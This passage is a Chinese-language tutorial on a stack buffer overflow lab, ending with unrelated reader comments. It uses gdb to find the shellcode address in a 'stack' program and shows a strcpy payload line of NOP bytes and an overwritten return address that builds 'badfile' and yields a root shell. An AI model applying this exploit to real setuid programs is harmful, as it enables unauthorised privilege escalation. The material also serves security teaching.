现代操作系统使用虚存-物理内存映射的方式分配内存,每个程序假想自己拥有全部32位地址空间,跳转指令使用的地址为虚存地址。缓冲区溢出攻击因此,我们可以通过反汇编stack程序找到shellcode数组的地址。
gdb stack
(gdb) disass main
得到main函数的反汇编指令。
Dump of assembler code for function main:
0x080484dc <+0>:push %ebp
0x080484dd <+1>:mov %esp,%ebp
0x080484df <+3>:and $0xfffffff0,%esp
(*)0x080484e2 <+6>:sub $0x220,%esp
0x080484e8 <+12>:movl $0x80485e0,0x4(%esp)
0x080484f0 <+20>:movl $0x80485e2,(%esp)
0x080484f7 <+27>:call 0x80483b0 <fopen@plt>
0x080484fc <+32>:mov %eax,0x21c(%esp)
0x08048503 <+39>:mov 0x21c(%esp),%eax
0x0804850a <+46>:mov %eax,0xc(%esp)
0x0804850e <+50>:movl $0x205,0x8(%esp)
0x08048516 <+58>:movl $0x1,0x4(%esp)
0x0804851e <+66>:lea 0x17(%esp),%eax
0x08048522 <+70>:mov %eax,(%esp)
0x08048525 <+73>:call 0x8048360 <fread@plt>
0x0804852a <+78>:lea 0x17(%esp),%eax
0x0804852e <+82>:mov %eax,(%esp)
0x08048531 <+85>:call 0x80484bd <bof>
0x08048536 <+90>:movl $0x80485ea,(%esp)
0x0804853d <+97>:call 0x8048380 <puts@plt>
0x08048542 <+102>:mov $0x0,%eax
0x08048547 <+107>:leave
0x08048548 <+108>:ret
End of assembler dump.
我们可以发现,main函数中执行了一次esp−0x220的操作,这一步是将esp指向到shellcode数组。那么我们在这条指令的下一句添加断点,读出$esp的值就是shellcode的首地址。
(gdb) b *0x080484e8
(gdb) r
(gdb) i r $esp
得到esp 0xffffd680,于是我们将buffer里的地址改为$esp+0x100=0xffffd780(需要注意大小端)。
strcpy(buffer, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x80\xd7\xff\xff");
编译并执行,生成badfile,再运行stack,获得一个带有root权限的shell。
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-30831-3.html
052D虽然不及它
还真想下去吗
直男癌晚期
是不是山寨出来的